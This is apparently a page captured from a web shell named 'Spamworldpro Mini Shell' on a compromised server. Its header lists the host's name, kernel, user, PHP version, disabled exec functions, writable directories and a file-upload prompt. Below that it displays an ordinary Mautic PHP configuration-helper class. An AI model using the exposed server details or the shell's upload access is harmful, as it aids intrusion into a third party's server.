Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/CoreBundle/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/CoreBundle/Helper/CoreParametersHelper.php
<?php

namespace Mautic\CoreBundle\Helper;

use Mautic\CoreBundle\Loader\ParameterLoader;
use Symfony\Component\DependencyInjection\ContainerInterface;

class CoreParametersHelper
{
    private \Symfony\Component\HttpFoundation\ParameterBag $parameters;

    private ?array $resolvedParameters = null;

    public function __construct(
        private ContainerInterface $container
    ) {
        $loader = new ParameterLoader();

        $this->parameters = $loader->getParameterBag();

        $this->resolveParameters();
    }

    /**
     * @param string $name
     * @param mixed  $default
     *
     * @return mixed
     */
    public function get($name, $default = null)
    {
        $name = $this->stripMauticPrefix($name);

        if ('db_table_prefix' === $name && defined('MAUTIC_TABLE_PREFIX')) {
            // use the constant in case in the installer
            return MAUTIC_TABLE_PREFIX;
        }

        // First check the container so that Symfony will resolve container parameters within Mautic config values
        $containerName = sprintf('mautic.%s', $name);
        if ($this->container->hasParameter($containerName)) {
            return $this->container->getParameter($containerName);
        }

        return $this->parameters->get($name, $default);
    }

    /**
     * @param string $name
     */
    public function has($name): bool
    {
        return $this->parameters->has($this->stripMauticPrefix($name));
    }

    public function all(): array
    {
        return $this->resolvedParameters;
    }

    /**
     * @deprecated 3.0.0 to be removed in 4.0; use get() instead
     */
    public function getParameter($name, $default = null)
    {
        return $this->get($name, $default);
    }

    private function stripMauticPrefix(string $name): string
    {
        return str_replace('mautic.', '', $name);
    }

    private function resolveParameters(): void
    {
        $all = $this->parameters->all();

        foreach ($all as $key => $value) {
            $this->resolvedParameters[$key] = $this->get($key, $value);
        }
    }
}

Spamworldpro Mini